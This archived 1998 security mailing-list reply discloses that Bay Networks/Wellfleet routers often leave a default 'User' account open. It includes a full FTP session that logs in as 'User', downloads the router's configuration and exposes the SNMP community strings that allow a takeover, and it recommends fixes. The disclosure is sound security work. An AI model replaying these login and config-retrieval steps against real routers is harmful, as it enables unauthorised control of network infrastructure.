On Sun, 10 May 1998, Marty Rigaletto wrote: > vendor: bay networks > product: bay access node/wellfleet routers > on the machine is passworded by the administrator, however, the "User" > account is often left untouched. While the "User" account has restricted This is something I mentioned to them about 1yr ago, with no word / response.. Even if the box is not doing filtering and such, the 'User' Account can be used to ftp into the Bay router (they run ftp daemons), download the configuration file (yes, I have done this many times..), and then read it into their Managment program, in which you will have the snmp read/write strings to do whatever you want with! Basically if the 'User' account is open, the router can be taken over with very little effort..Once you load up the config file into the managment console, you could toggle T1s, down interfaces, reset BGP tables, capture packets.. You name it. It would be wise to make it where the 'User' account cannot ftp in, or cannot read the contents of the flash card.. Here is a sample random-bay-router-on-the-net(IP addr changed of course): llama:/usr/home/jason/doc# ftp 1.3.3.3 Connected to 1.3.3.3. 220 WfFTP server(x12.00) ready. Name (1.3.3.3:jason): User 230 User User logged in. ftp> bin 200 Type set to I. ftp> get config local: config remote: config 200 PORT command successful. 150 Image data connection for 2:config (1.3.3.3,20) (50140 bytes). 226 Binary Transfer Complete. 50140 bytes received in 2.01 seconds (24909 bytes/s) ftp> ls 200 PORT command successful. 150 ASCII data connection for 2: (1.3.3.3,0) (0 bytes). Volume - drive 2: Directory of 2: File Name Size Date Day Time ------------------------------------------------------ config.isp 45016 08/22/97 Fri. 17:05:51 startup.cfg 7472 08/24/97 Sun. 23:31:31 asnboot.exe 237212 08/24/97 Sun. 23:31:41 asndiag.exe 259268 08/24/97 Sun. 23:32:28 debug.al 12372 08/24/97 Sun. 23:33:17 ti_asn.cfg 504 08/24/97 Sun. 23:33:31 install.bat 189114 08/24/97 Sun. 23:33:41 config 50140 04/20/98 Mon. 22:08:01 4194304 bytes - Total size 3375190 bytes - Available free space 3239088 bytes - Contiguous free space 226 ASCII Transfer Complete. ftp> quit 221 Goodbye. I have no idea what the current firmware rev is, as my current duties have me away from Bay products, but in this example, the firmware was 12.00 it looks like.. (This was testing 'just now'). > All a proposed attacker would have to do is telnet to the router, login > as "User", and issue a single command, "sho snmp community". Then adjust > his or her snmp software to use that string and IP address, and b00m, > sucks to be you. As far as I knew, the User level could not see the read/write string, but I could be outdated..But as shown above, you can get the config file using a standard FTP client :) The Fix? Well, as I said , tighten down what the 'User Level' account can do, and leave things such as ftpd turned off by default. Of course, removing the 'User' account would be a good idea too, as not too many people use it and even more people are not even aware of it.. Cheers, -- Jason Ackley jasonat_private UNIX Systems Consultant "Learn UNIX and mingle with the gods.."
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:52:54 PDT